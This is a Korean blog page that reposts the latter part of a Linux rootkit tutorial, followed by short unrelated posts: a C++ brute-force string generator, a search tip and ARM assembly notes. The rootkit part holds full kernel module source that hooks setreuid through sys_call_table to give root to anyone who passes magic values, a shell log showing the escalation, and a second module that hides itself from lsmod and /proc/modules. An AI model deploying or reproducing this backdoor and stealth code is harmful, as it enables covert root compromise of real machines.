((mm)->pgd+pgd_index(address)) -------------------------------------------------------------- 가상 주소의 페이지 전역 디렉토리를 구해주는 매크로입니다. page_offset_k(address)의 역할은 pgd_offset(&init_mm, address)와 같습니다. 즉, init_mm->pgd의 주소 값에 pgd_index 매크로를 통해서 구한 address의 상대주소(offset)을 더해서 전역 디렉토리의 주소 값을 구하는 것입니다. init_mm->pgd는 커널 페이지 디렉토리의 시작 주소를 담고 있습니다. ---------------------------- include/asm-x86_64/pgtable.h ---------------------------------------------------------------------------------------- #define pud_offset(pgd, address) ((pud_t *) pgd_page_vaddr(*(pgd)) + pud_index(address)) ---------------------------------------------------------------------------------------- 페이지 전역 디렉토리를 통해 페이지 상위 디렉토리를 구하는 매크로이며 4단계 페이징이 아닌 시스템에서 해당 매크로를 사용하면 인자로 입력된 값은 변하지 않습니다. --------------------------------------- linux/include/asm-i386/pgtable-3level.h ---------------------------------------------------------------------------------- #define pmd_offset(pud, address) ((pmd_t *) pud_page(*(pud)) + pmd_index(address)) ---------------------------------------------------------------------------------- 페이지 상위 디렉토리를 통해 페이지 중간 디렉토리를 구하는 매크로이며 3단계 또는 4단계 페이징이 아닌 시스템에서 해당 매크로를 사용하면 인자로 입력된 값은 변하지 않습니다. -------------------------------- linux/include/asm-i386/pgtable.h ------------------------------------------------------------------------------------------------ #define pte_offset_kernel(dir, address) ((pte_t *) pmd_page_vaddr(*(dir)) + pte_index(address)) ------------------------------------------------------------------------------------------------ 페이지 중간 디렉토리를 통해 페이지 테이블 엔트리를 구하는 매크로입니다. 추가로 몇 가지 매크로를 더 언급하면 지금까지 소개한 페이지 관련 매크로 밖에도 pgd_none, pgd_present, pud_none, pud_present, pmd_none, pmd_present, pte_none, pte_present 등이 존재하는데 이는 PGD, PUD, PMD, PTE를 구했을 때 일종의 에러 체크를 위하여 제공됩니다. *_present() 계열의 매크로는 PGD ~ PTE가 메모리에 존재하지 않으면 0을 나타내고, *_none() 계열의 매크로는 유효하지 않은 가상 주소에 대한 페이징 과정을 시도할 경우 경우를 체크하기 위해 사용됩니다. 아무튼 지금까지 소개한 매크로를 사용하여 구한 가상주소의 페이지 테이블 엔트리 속성을 변경하여 sys_call_table을 쓰기가 가능 하도록 만들 수 있습니다. 페이지 테이블 엔트리의 각 비트가 의미하는 내용을 간단히 도식화하면 다음과 같습니다. 0 1 2 3 4 5 6 7 8 9 11 12 31 --------------------------------------------------------------------------------------------- | P | R/W | U/S | PWT | PCD | A | D | 0 | G | Avail | Page Base Address | --------------------------------------------------------------------------------------------- P Present R/W Read/Write U/S User/Supervisor PWT Page-level Write-Through PCD Page-level Cache Disable A Accessed D Dirty PS Page Size G Global Avail Reserved/Available 다양한 비트들이 있으며 여기서 우리는 R/W를 사용합니다. 해당 비트가 0으로 설정되면 원칙적으로 읽기만 가능하며 1로 설정되면 읽기와 쓰기 모두 가능합니다. R/W 비트를 1로 설정하는 코드는 다음과 같습니다. 참고로 속성 변경 이후에는 이전에 한번 설명했던 global_flush_tlb(); 함수를 사용해야 합니다. --------------------------- (pte)->pte_low |= _PAGE_RW; --------------------------- R/W 비트를 0으로 설정하는 코드는 다음과 같습니다. ---------------------------- (pte)->pte_low &= ~_PAGE_RW; ---------------------------- 지금까지 알아본 내용을 바탕으로 가상 주소 페이지 테이블의 특정 비트를 끄고 켜는 함수를 만들어 보았습니다. ---------------------------------------------------------------------------------- int hk_attr_change( unsigned long linear_addr , int attr , int flag , int *value ) { pgd_t *pgd; pud_t *pud; pmd_t *pmd; pte_t *pte; pgd = pgd_offset_k( linear_addr ); if(!pgd_present(*pgd)) { if(pgd_none(*pgd)) return -0x10; return -0x01; } pud = pud_offset( pgd, linear_addr ); if(!pud_present(*pud)) { if(pud_none(*pud)) return -0x20; return -0x02; } pmd = pmd_offset( pud, linear_addr ); if(!pmd_present(*pmd)) { if(pmd_none(*pmd)) return -0x30; return -0x03; } if( pmd_large(*pmd) ) pte = (pte_t *)pmd; else pte = pte_offset_kernel( pmd, linear_addr ); if(!pte_present(*pte)) { if( pte_none(*pte)) return -0x40; return -0x04; } if( value > 0 ) *value = (pte)->pte_low; if( flag == 0 ) (pte)->pte_low &= ~attr; else if( flag == 1 ) (pte)->pte_low |= attr; else if( flag == 2 ) (pte)->pte_low = attr; else; global_flush_tlb(); return 0; } ---------------------------------------------------------------------------------- 첫 번째 인자는 가상 주소, 두 번째 인자는 속성, 세 번째 인자는 가상 주소에 대한 속성의 추가/제거/세팅을 결정합니다. 마지막 네 번째 인자는 변경되기 전 페이지의 속성 값을 저장할 포인터가 필요합니다. 그런데 함수의 루틴에서 PGD, PUD, PMD, PTE를 구하는 매크로를 모두 사용하면 PUD 또는 PMD가 존재하지 않는 2단계 페이징 혹은 3단계 페이징 시스템에서 문제가 생길 수 있지 않을까 하는 의문이 생길 수 있습니다. 이에 대한 이유는 간단한데, 해당 시스템이 3단계 페이징을 적용하고 있다면 PUD를 구하는 매크로, 2단계 페이징을 적용하고 있다면 PUD와 PMD를 구하는 매크로는 어떠한 작업 수행도 하지 않으며 인자로 주어진 값을 그대로 돌려줍니다. 즉, 위와 같은 코드는 오히려 다양한 페이징 단계에 대한 호환성을 보장 해 주는 역할을 합니다. 마지막으로 아직 위 함수에서 설명하지 않은 루틴을 알아보겠습니다. 다음 코드, 정확히 말하면 pmd_large() 부분입니다. ---------------------------------------------------- if( pmd_large(*pmd) ) pte = (pte_t *)pmd; else pte = pte_offset_kernel( pmd, linear_addr ); ---------------------------------------------------- pmd_large()는 확장 페이징을 사용하는지에 대한 검사를 수행합니다. 확장 페이징이란 크기가 크고 연속된 가상 주소를 위하여 제공 되는 큰 크기(4MB)의 페이지가 그대로 대응되도록 변환하는 것을 말합니다. 중요한 것은 이러한 개념적인 정의 보다는 확장 페이징이 사용될 때는 페이지 디렉토리가 페이지 프레임(물리 메모리)을 가리키고 있다는 것입니다. 위 코드에서 pgd_offset_k() 매크로를 이용하여 페이지 디렉토리를 구한 뒤에 pud_offset(), pmd_offset() 매크로를 사용하는 것을 볼 수 있습니다. 확장 페이징에서 이 두 매크로는 어떠한 작업도 수행하지 않기 때문에 결과적으로 pmd_large() 매크로의 인자값으로 주어진 *pmd는 이전에 구했던 *pgd 값과 동일합니다. 페이지 디렉토리가 가리키는 영역은 확장 페이징에 의한 큰 페이지(4MB)가 되며 즉, 페이지 디렉토리는 다른 단계를 거치지 않고 곧바로 물리 메모리를 가리키고 있는데 이는 다시 말하면, 확장 페이징에서 페이지 디렉토리는 페이지 테이블을 뜻하는 것입니다. 그래서 따로 페이지 테이블을 구하는 pte_offset_kernel() 매크로를 사용할 필요 없이 pmd 포인터를 pte 자료형 형태로 캐스팅해서 사용하면 되는 것입니다. 기존의 테스트에 속성 변경 루틴이 추가 된 코드는 다음과 같으며 부분적인 설명은 주석으로 대체 하였습니다. =- hkm_idt-attr.c -= #include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/syscalls.h> #include <linux/sched.h> #include <asm/unistd.h> #include <asm/uaccess.h> #include <asm/pgtable.h> #include <asm/cacheflush.h> #define OFF 0 #define ON 1 #define SET 2 void **sys_call_table; asmlinkage int (*orig_setreuid)( uid_t ruid, uid_t euid ); asmlinkage int hk_setreuid( uid_t ruid, uid_t euid ) { if( (ruid == 7310) && (euid == 0137) ) { printk( KERN_ALERT "[Correct]\n" ); current -> uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; return orig_setreuid( 0 , 0 ); } return orig_setreuid( ruid , euid ); } unsigned int *get_sys_call_table( void ) { int cnt; unsigned int sys_offset; char pattern[] = "\xff\x14\x85"; struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) *idt; asm( "sidt %0" : "=m"(idtr) ); idt = (struct idt_gate *)( idtr.base + 0x80*8 ); sys_offset = ((idt->off2) << 16) | (idt->off1); for( cnt = 0 ; cnt < 500 ; cnt++, sys_offset++ ) { if( !strncmp( (char *)sys_offset , pattern , strlen(pattern) )) return (unsigned int *)(*((unsigned int *)(sys_offset +strlen(pattern)))); } return NULL; } int hk_attr_change( unsigned long linear_addr , int attr , int flag , int *value ) { pgd_t *pgd; pud_t *pud; pmd_t *pmd; pte_t *pte; pgd = pgd_offset_k( linear_addr ); if(!pgd_present(*pgd)) { if(pgd_none(*pgd)) return -0x10; return -0x01; } pud = pud_offset( pgd, linear_addr ); if(!pud_present(*pud)) { if(pud_none(*pud)) return -0x20; return -0x02; } pmd = pmd_offset( pud, linear_addr ); if(!pmd_present(*pmd)) { if(pmd_none(*pmd)) return -0x30; return -0x03; } if( pmd_large(*pmd) ) pte = (pte_t *)pmd; else pte = pte_offset_kernel( pmd, linear_addr ); if(!pte_present(*pte)) { if( pte_none(*pte)) return -0x40; return -0x04; } if( value > 0 ) *value = (pte)->pte_low; if( flag == 0 ) (pte)->pte_low &= ~attr; else if( flag == 1 ) (pte)->pte_low |= attr; else if( flag == 2 ) (pte)->pte_low = attr; else; global_flush_tlb(); return 0; } int __init hk_init( void ) { int val; sys_call_table = (void **)get_sys_call_table(); if( sys_call_table == NULL ) { printk( KERN_ALERT "Can not found the sys_call_table address\n" ); return -1; } // 변경 이전의 페이지 속성을 val 포인터가 가리키도록 한 뒤, sys_call_table 페이지 속성에 RW 비트 추가 if( (hk_attr_change( (unsigned long)sys_call_table, _PAGE_RW, ON, &val )) < 0 ) return -1; orig_setreuid = sys_call_table[__NR_setreuid32]; sys_call_table[__NR_setreuid32] = hk_setreuid; // sys_call_table 페이지 속성을 원상태(페이지 권한 변경 이전의 속성값을 가리키고 있는 val 포인터)로 복구 if( (hk_attr_change( (unsigned long)sys_call_table, val, SET, NULL )) < 0 ) printk( KERN_ALERT "[hk_init] sys_call_table attribute restoration failed\n" ); printk( KERN_ALERT "Module init\n" ); return 0; } void __exit hk_exit( void ) { int val; // 변경 이전의 페이지 속성을 val 포인터가 가리키도록 한 뒤, sys_call_table 페이지 속성에 RW 비트 추가 if( (hk_attr_change( (unsigned long)sys_call_table, _PAGE_RW, ON, &val )) == 0 ) { sys_call_table[__NR_setreuid32] = orig_setreuid; // sys_call_table 페이지 속성을 원상태(페이지 권한 변경 이전의 속성값을 가리키고 있는 val 포인터)로 복구 if( (hk_attr_change( (unsigned long)sys_call_table, val, SET, NULL )) < 0 ) printk( KERN_ALERT "[hk_exit] sys_call_table attribute restoration failed\n" ); } printk( KERN_ALERT "Module exit\n" ); } module_init( hk_init ); module_exit( hk_exit ); MODULE_LICENSE( "GPL" ); =- End Of Code -= 다음은 모듈을 컴파일한 뒤 커널에 로드하는 과정입니다. ------------------------------------------------------------------- [root@localhost hk]# make make -C /lib/modules/2.6.23.1-42.fc8/build SUBDIRS=/root/hk modules make[1]: Entering directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' CC [M] /root/hk/hkm_idt-attr.o Building modules, stage 2. MODPOST 1 modules CC /root/hk/hkm_idt-attr.mod.o LD [M] /root/hk/hkm_idt-attr.ko make[1]: Leaving directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' [root@localhost hk]# insmod hkm_idt-attr.ko ------------------------------------------------------------------- 마지막으로 hkpco 계정에서 루트킷이 정상 작동하는지 테스트 해보겠습니다. ------------------------------------------------------------------------------------------------------- [hkpco@localhost hkpco]$ id uid=500(hkpco) gid=500(hkpco) groups=500(hkpco) context=root:system_r:unconfined_t:SystemLow-SystemHigh [hkpco@localhost hkpco]$ cat go.c int main( void ) { setreuid( 7310 , 0137 ); system( "/bin/sh" ); } [hkpco@localhost hkpco]$ ./go sh-3.1# id uid=0(root) gid=0(root) groups=500(hkpco) context=system_u:system_r:unconfined_t:s0-s0:c0.c1023 ------------------------------------------------------------------------------------------------------- 지금까지 sys_call_table의 페이지 속성을 직접 변경하여 시스템 콜을 가로채고 복구하는 방법을 알아보았습니다. 이 기술은 주위 환경에 영향을 미치지 않고 속성 변경을 위한 대상이 sys_call_table 하나에 국한되어 있다는 점에서 지금까지 소개한 방법 중 가장 안정적이라고 할 수 있습니다. 0xa. Kernel Module Hiding 커널 모듈을 리스트에서 제거하여 lsmod 명령, /proc/modules 열람 등 일반적인 확인으로는 찾아내지 못하도록 모듈을 숨기는 방법을 알아 보겠습니다. 설명에 앞서 모듈을 숨기는 코드를 테스트 할 것이며 해당 소스 코드는 다음과 같습니다. =- hkm_hiding.c -= #include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/list.h> int hk_init( void ) { list_del_init( &__this_module.list ); printk( KERN_ALERT "Module Hiding\n" ); return 0; } void hk_exit( void ) { } module_init( hk_init ); module_exit( hk_exit ); MODULE_LICENSE( "GPL" ); =- End Of Code -= 다음은 모듈을 컴파일한 뒤 커널에 로드하는 과정입니다. ----------------------------------------------------------------------- [root@localhost hk]# make make -C /lib/modules/2.6.23.1-42.fc8/build SUBDIRS=/root/kernel modules make[1]: Entering directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' CC [M] /root/kernel/hkm_hiding.o Building modules, stage 2. MODPOST 1 modules CC /root/kernel/hkm_hiding.mod.o LD [M] /root/kernel/hkm_hiding.ko make[1]: Leaving directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' [root@localhost kernel]# insmod hkm_hiding.ko ----------------------------------------------------------------------- 커널에 적재된 모듈의 이름과 간략한 상태 등의 정보를 출력해 주는 lsmod 명령과 /proc/modules 파일의 열람을 통하여 hkm_hiding 모듈을 찾을 수 있는지 확인하여 보겠습니다. ------------------------------------------------------------ < lsmod 명령을 통한 확인 > [root@localhost kernel]# lsmod Module Size Used by rfcomm 36825 0 l2cap 25537 9 rfcomm bluetooth 49316 4 rfcomm,l2cap autofs4 20421 2 . . mbcache 10177 1 ext3 uhci_hcd 23633 0 ohci_hcd 21445 0 ehci_hcd 31693 0 [root@localhost kernel]# /sbin/lsmod | grep hkm_hiding [root@localhost kernel]# ------------------------------------------------------------ ------------------------------------------------------------ < /proc/modules 열람을 통한 확인 > [root@localhost kernel]# cat /proc/modules rfcomm 36825 0 - Live 0xd0b0c000 l2cap 25537 9 rfcomm, Live 0xd0af1000 bluetooth 49316 4 rfcomm,l2cap, Live 0xd0b3c000 autofs4 20421 2 - Live 0xd0af9000 . . uhci_hcd 23633 0 - Live 0xd0824000 ohci_hcd 21445 0 - Live 0xd0835000 ehci_hcd 31693 0 - Live 0xd082c000 [root@localhost kernel]# cat /proc/modules | grep hkm_hiding [root@localhost kernel]# ------------------------------------------------------------ 위와 같이 커널에 로드된 hkm_hiding 모듈은 찾을 수 없습니다. 이러한 결과는 아래 한 줄의 코드로 이루어진 것입니다. ------------------------------------- list_del_init( &__this_module.list ); ------------------------------------- 그럼 먼저 list_del_init()가 어떻게 정의되어 있는지 살펴보겠습니다. 다음과 같습니다. --------------------------------------------------------- linux/include/linux/list.h --------------------------------------------------------- static inline void list_del_init(struct list_head *entry) { __list_del(entry->prev, entry->next); INIT_LIST_HEAD(entry); } --------------------------------------------------------- list_del_init() 인라인 함수의 인자로 주어진 포인터 변수의 원형인 list_head 구조체는 다음과 같이 정의되어 있습니다. -------------------------------------- linux/include/linux/list.h -------------------------------------- struct list_head { struct list_head *next, *prev; }; -------------------------------------- list_del_init()는 __list_del()과 INIT_LIST_HEAD()를 호출하며 각각 다음과 같이 정의되어 있습니다. ------------------------------------------------------------------------------- linux/include/linux/list.h ------------------------------------------------------------------------------- static inline void __list_del(struct list_head * prev, struct list_head * next) { next->prev = prev; prev->next = next; } static inline void INIT_LIST_HEAD(struct list_head *list) { list->next = list; list->prev = list; } ------------------------------------------------------------------------------- 모듈 리스트는 이중 연결 리스트로 관리되고 있기 때문에 모듈의 추가 또는 제거 작업의 편의성을 위하여 위와 같은 인라인 함수를 정의해 두고 있습니다. __list_del()은 함수명에서 알 수 있듯이 이중 연결 리스트의 한 요소를 제거하는 작업을 수행하는데, 인자는 각각 제거할 리스트가 가리키고 있는 이전 리스트와 이후 리스트를 필요로 합니다. list_del_init()의 인자로 주어진 연결 리스트는 __list_del() 인라인 함수의 수행 이후 더이상 사용되지 않으므로 INIT_LIST_HEAD() 인라인 함수를 이용하여 초기화 해줍니다. 그럼 이제 처음으로 돌아가서 list_del_init() 인라인 함수의 인자로 주어진 __this_module.list에 대하여 알아보겠습니다. __this_module은 현재 모듈의 정보를 가지고 있는 구조체이며 다음과 같이 정의되어 있습니다. ----------------------------------- linux/include/linux/module.h ----------------------------------- extern struct module __this_module; ----------------------------------- __this_module은 module 구조체로 선언되어진 것을 볼 수 있습니다. module 구조체는 다음과 같이 정의되어 있습니다. -------------------------------------------------------------------- struct module { enum module_state state; /* Member of list of modules */ struct list_head list; /* Unique handle for this module */ char name[MODULE_NAME_LEN]; /* Sysfs stuff. */ struct module_kobject mkobj; struct module_param_attrs *param_attrs; . . . /* Per-cpu data. */ void *percpu; /* The command line arguments (may be mangled). People like keeping pointers to this stuff */ char *args; }; -------------------------------------------------------------------- __this_module.list는 현재 모듈에 대한 연결 리스트를 의미합니다. 그래서 해당 구조체의 필드값을 list_del_init()의 인자로 주면 모듈을 관리하는 이중 연결 리스트에서 제거되어 모듈이 숨겨지는 원리입니다. list_del_init() 인라인 함수의 내부 수행과정은 __list_del(), INIT_LIST_HEAD() 순으로 이루어집니다. 결국 두개의 인라인 함수를 하나로 묶어둔 것인데, 모듈을 숨기기 위하여 list_del_init()를 호출했을 때의 전 과정을 간단히 도식화 하면 다음과 같습니다. 참고로 대상 모듈은 "module 2" 입니다. < list_del_init() 수행 전 > list_head module 1 module 2 module 3 =================== =================== =================== =================== (NULL)<-| prev | next |<----->| prev | next |<----->| prev | next |<----->| prev | next |->(NULL) =================== =================== =================== =================== < list_del_init() 내부의 __list_del() 수행 후 > list_head module 1 module 3 =================== =================== =================== (NULL)<-| prev | next |<----->| prev | next |<----->| prev | next |->(NULL) =================== =================== =================== ^ ^ | module 2 | | =================== | --| prev | next |-| =================== < list_del_init() 내부의 INIT_LIST_HEAD() 수행 후 > list_head module 1 module 3 =================== =================== =================== (NULL)<-| prev | next |<----->| prev | next |<----->| prev | next |->(NULL) =================== =================== =================== module 2 =================== | prev | next | =================== 이중 연결 리스트로 모듈들이 관리되고 있으며 특정 모듈(여기서는 module 2)을 삭제하기 위해 list_del_init() 인라인 함수를 호출 하였습니다. 위에서도 언급한 것 처럼 두 개의 인라인 함수를 묶어둔 list_del_init()는 먼저 __list_del()이 수행되면 module 2가 연결 리스트에서 제거되는데 module 2의 prev, next 필드는 여전히 module 1, 2를 가리키고 있으므로 INIT_LIST_HEAD()를 이용하여 module 2의 두 필드를 모두 초기화 시켜주는 것입니다. 0xb. Conclusion 지금까지 시스템 콜 제어를 중심으로 커널 레벨에서의 다양한 핵심 기술들을 알아 보았습니다. 문서를 쓰면서 가장 많이 참고했던 자료는 리눅스 커널 소스 코드였는데 이렇게 모든 것이 사용자에게 공개 되어있다는 점에서 정말로 매력있는 운영체제라는 생각을 다시한번 하였습니다. 마지막으로 기술이라는 것은 항상 양날의 칼과 같은 성향을 지니고 있기 때문에 여기서 소개한 기술도 역시 어떻게 사용 되는지에 따라 다양하게 변화될 수 있습니다. 본 문서가 부디 좋은 부분에 쓰이길 바라며 이만 마치겠습니다.


'자료' 카테고리의 다른 글

[펌] 동적 메모리 관리  (0) 2016.12.26
[Heap] how2heap (shellpish)  (0) 2016.12.25
[C++] 브루트 포싱(Brute Forcing)  (0) 2016.07.30
주로 사용하는 헤더들  (0) 2016.05.18
[Tip] 해커스쿨 자료 얻기.  (0) 2016.03.25
블로그 이미지

KuroNeko_

KuroNeko

,
반응형
#include 
#include 

using namespace std;

string valid = "abcdfeghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

void bf(string l, int len){
    if(l.length() > len) return;
    
    for(int i = 0; i < valid.length(); i++)
        bf(l + valid[i], len);
    cout << l << endl;
}

int main(){
    bf("", 10);
    return 0;
}

'자료' 카테고리의 다른 글

[Heap] how2heap (shellpish)  (0) 2016.12.25
[Linux] rootkit 자료 (펌)  (0) 2016.11.30
주로 사용하는 헤더들  (0) 2016.05.18
[Tip] 해커스쿨 자료 얻기.  (0) 2016.03.25
ARM Assembly 명령어 정리(펌)  (0) 2016.03.17
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

calc.h

sort.hpp

STACK.h

Trim.h

자세한 내용은 생략한다.

'자료' 카테고리의 다른 글

[Linux] rootkit 자료 (펌)  (0) 2016.11.30
[C++] 브루트 포싱(Brute Forcing)  (0) 2016.07.30
[Tip] 해커스쿨 자료 얻기.  (0) 2016.03.25
ARM Assembly 명령어 정리(펌)  (0) 2016.03.17
[STL] vector구현(수정)  (0) 2016.02.09
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

Google에


url:research.hackerschool.org/



검색



'자료' 카테고리의 다른 글

[C++] 브루트 포싱(Brute Forcing)  (0) 2016.07.30
주로 사용하는 헤더들  (0) 2016.05.18
ARM Assembly 명령어 정리(펌)  (0) 2016.03.17
[STL] vector구현(수정)  (0) 2016.02.09
Heap 기반 free() & malloc() Exploit 작성하기  (0) 2015.12.26
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

※ 용어 정의
     Rd: Destination Register   /   Rn: Operand1 Register   /   Rm: Operand2 Register
     <cond>: Execution Condition code
     <S>: S-Suffix - Status Update Suffix - SPSR의 값을 CPSR로 불러와서 Status를 Update
     <!> : ! - Suffix - Writeback Suffix - [,]내의 선처리 연산 수행 후 값을 갱신
     <Operand2>: Operand2가 가질 수 있는 형식
          ㄱ. #Immediate: 32bit  명령에서 Immediate값은 8-bit pattern의 짝수 shift 값 만을 허용
          ㄴ. Rm{, shift연산 #immediate}: Register(Rm)값에 #immediate 값으로 Shift 연산
               

                 § Shift 연산의 종류
               - asr(Arithmetic Shift Right): Immediate의 값 만큼 right shift, 앞에 bit는 Sign Extension
               - lsr(Logical Shift Right): Immediate의 값 만큼 right shift, 앞에 bit는 0으로 채움
               - lsl(Logical Shift Left): Immediate의 값 만큼 left shift, 뒤에 bit는 0으로 채움
               - ror(ROtate Right): Immediate의 값 만큼 rotate right, rotate후 bit 0값은 carry에 저장
               - rrx(Rotate Right eXtend): rrx는 1bit 씩 rotate right, bit 0값은 carry에 저장


1. 데이터 처리 명령(General Data Processing Instruction)

     1.1 산술 연산
Syntax: add<cond><S> Rd, Rn, <Operand2>

          add: Rd := Rn + <Operand2> 
          sub: Rd := Rn - <Operand2>
          adc(ADd with Carry), sbc(SuBtract with Carry): Carry를 포함한 add, sub 연산
         
          rsb(Reverse SuBtract): Rd := <Operand2> - Rn
          rsc(Reverse Subract with Carry): Carry를 포함한 역 sub 연산

     1.2 논리 연산
Syntax: and<cond><S> Rd, Rn, <Operand2>

          and: Rd := Rn & <Operand2>
          orr:  Rd := Rn | <Operand2>
          eor: Rd := Rn ^ <Operand2>
          bic: Rd := Rn & !<Operand2>
     1.3 Register 값 저장
Syntax: mov<cond><S> Rd, <Operand2>

          mov: Rd := <Operand2>
          mvn: Rd := !<Operand2>

     1.4 비교
Syntax: cmp<cond><S> Rn, <Operand2>

          cmp: Rn값에서 Opeand2값을 빼서 그 결과를 Status flag에 반영, SUBS와 동일한 명령
          cmn: Rn값에서 Operand2값을 더해서 그 결과를 Status flag에 반영, ADDS와 동일한 명령

          tst: Rn과 Opearand2를 bit and 연산을 수행해서 그 결과를 Status flag에 반영, ANDS와 동일한 명령
          teq: Rn과 Operand2를 bit xor 연산을 수행해서 그 결과를 Status flag에 반영, EORS와 동일한 명령

2. 메모리 접근 명령(Memory Accesss Instruction)

          Syntax: ldr<cond><B> Rd, label
                       ldr<cond><B><T> Rd, [Rn]
                       ldr<cond><B> Rd, [Rn, FlexOffset]<!>         ;Pre-Indexed<Auto-Indexing>
                       ldr<cond><B><T> Rd, [Rn], FlexOffset        ;Post-Indexed

          <B>: B Suffix가 있을 경우 8-bit Unsigned byte 단위로 Access, 없을 경우 32-bit word로 Access
          <T>: T suffix가 있을 경우 Processor가 User mode에서 memory access 처리
          FlexOffset:
               ㄱ.#Immediate: -4095 부터 -4096사이의 상수 값
               ㄴ.{-}Rm{, shift연산}: Rm은 음의 부호를 가질 수 있으며, Rm의 Shift 연산도 가능함

     2.1 Load 또는 Store 명령 예제

          ldr r0, [r1]: r1에 저장된 주소를 이용해서 메모리로부터 r0로 값을 불러옴
          str r0, [r1], #4: r0의 값을 메모리의 r1의 주소에 저장하고 r1을 +4함.
          참고) 부호가 있는 Halfword, Byte로 읽을 때는 SH(Signed Halfword), SB(Signed Byte) <--(ldr only)
                  Unsigned Halfword로 읽거나 저장할 때는 H를 사용.
                  Doubleword의 경우 D 를 사용, 이 때의 Offset은 {-}Rm 만 허용함.

     2.2 Multiple Load 또는 Store 명령

Syntax: ldm<cond><addrmode> Rn<!>, {reglist}<^>

          <addrmode>: address mode에는 총 8가지가 있으며, 4가지는 address의 연상 방식에 따른
                                구분이며 4가지는 stack의 특성에 따른 구분이다.
              - IA(Increment Address after each transfer), - IB(Increment Address after each transfer)
              - DA(Decrement Address after each transfer), - DB(Decrement Address after each transfer)

              - FD(Full descending stack): stack의 주소에 data가 저장이 된 상태이고, 주소가 감소하면서 저장
              - ED(Emtpy descending stack): stack의 주소에 data가 없는 상태이고, 주소가 감소하면서 저장
              - FA(Full ascending stack): stack의 주소에 data가 저장이 된 상태이고, 주소가 증가하면서 저장
              - EA(Emtpy ascending stack): stack의 주소에 data가 없는 상태이고, 주소가 증가하면서 저장

          <!>: ! - Suffix가 있을 경우 마지막 주소(최종으로 이동한 주소)를 Rn에 저장함
          <^>: SPSR의 값을 CPSR에 넣어줌, S-Suffix와 동일한 기능을 수행함.

          ldm: Rn으로 부터 reglist에 지정한 register 수 만큼 값을 불러옴
          stm: reglist에 있는 register의 값들을 Rn에 저장함.

          [주의] Reglist에 지정한 Register의 순서와 상관없이 Register의 번호가 낮은 값이
                    메모리의 낮은 주소에 저장 또는 읽어진다. reglist는 'r1,r2,r3' 또는 'r1-r3'으로 표현
          [자주 사용되는 형식] STMFD sp!, {r4-r7,lr} / LDMFD sp!, {r4-r7,pc}

3. 분기 명령(Branch Instruction)

Syntax
: b<cond> label

     b: label이 있는 주소로 branch(PC값에 label의 주소를 입력)
     bl: 다음 명령의 주소를 lr에 저장하고, b와 같이 label의 주소로 branch

4. 기타 명령어
     4.1 Software Interrupt
Syntax: swi<cond> Immediate_24bit

          swi: 지정한 번호를 갖는 Software Interrupt를 발생시킴, 해당 번호에 맞는 SWI vector로 branch
               (Software Interrupt가 걸리면 프로세서의 모드는 Supervisor로 변경됨)

     4.2 PSR Access
Syntax: mrs<cond> Rd, psr

                    psr에 지정한 값(cpsr 또는 spsr)로 부터 값을 불러와서 Rd에 저장 (Register <- PSR)

Syntax: msr<cond> psr_(field), #Immediate_8bit
msr<cond> psr_fields, Rm      

                    Register(Rm)의 값 또는 8bit Immediate값을 psr(cpsr 또는 spsr)에 저장 (Register -> PSR)
                    (field): f, s, x, c 값이 선택적으로 올 수 있음. 지정한 field 영역에만 값을 저장함.

          [주의] 프로세서가 User 또는 System mode일 때는 SPSR에 엑세스 하지 말아야 한다.
          [자주 사용되는 형식] msr CPSR_c,r0
5. 상태 플래그와 실행 조건 코드(Status Flags & Execution Condition Codes)
     N: 연산 결과가 음의 값을 가질 때 Set '1'
     Z: 연산 결과가 영일 때 Set '1'
     C: 연산 결과가 캐리(Carry)를 가질 때 Set '1'
     V: 연산 결과 오버플로우(Overflow)를 발생시킬 때 Se
사용자 삽입 이미지

<ARM Instructioin Set>

사용자 삽입 이미지

     ① opcode<cond><S> Rd, Rn, #Immediate
     ② opcode<cond><S> Rd, Rn, Rm OP #Imm
     ③ opcode<cond><S> Rd, Rn, Rm OP Rs
          - cmp, cmn 명령에서는 Rd는 무조건 '0' 값을 넣어줘야 함.(SBZ(Should Be Zero))

     ④ opcode<cond> Rd, Rn, #Immediate
     ⑤ opcode<cond> Rd, Rn, Rm OP #Imm
     ⑥ opcode<cond> Rd, <address>
     ⑦ opcode<cond><addrmode> Rm, Register_List^
     ⑧ opcode<cond><addrmode> Rm<!>, Register_List
     ⑨ opcode<cond><addrmode> Rm<!>, Register_List^
          - P='1' Pre, P='0' Post / U='1' Increment, U='0' Decrement / B='1' Byte load, B='0' Word load /
            W='1' Write-back(Auto-Index) W='0' / L='1' opcode는 ldr, L= '0' str /
            I='1' Addr_mode가 모두 Offset field I='0' 앞에 Addr_mode는 '0' 뒤에 Addr_mode는 Rm /
            S='1' Signed, S='0' Unsigned / H='1' Half Word, H='0' Word or Byte

     ⑩ b<cond> #Target Address(24bit Offset) - L의 값이 '1'이면 bl 명령

     ⑪ SWI #SWI Number

     ⑫ mrs<cond><S> Rd, PSR
     ⑬ msr<cond><S> PSR_<Field_Mask>, Rm
     ⑭ msr<cond><S> PSR_f, #Immediate
          - S의 값이 '1'이면 SPSR에서, '0'이면 CPSR.
          - SBO(Should Be One) 영역은 '1'로, SBZ(Should Be Zero) 영역은 '0'의 값을 넣어줘야 함

<ARM Assembly 명령어 정리표>
<참고자료>
  - ARM Developer Suite 1.2 Assembler Guide(ARM DUI 0068B):
    http://infocenter.arm.com/help/topic/com.arm.doc.dui0068b/DUI0068.pdf
  - ARM Asssembly Language Programming: http://www.arm.com/miscPDFs/9658.pdf
  - kkamagui의 프로그래밍 작업실 ARM 어셈블리: http://kkamagui.springnote.com/pages/432792
  - ARM Instruction Quick Finder: http://www.heyrick.co.uk/assembler/qfinder.html
  - ARM Reference - rE Ejected: http://re-eject.gbadev.org/ =>ARM_Reference-rE.Ejected.pdf 자료 출처


블로그 이미지

KuroNeko_

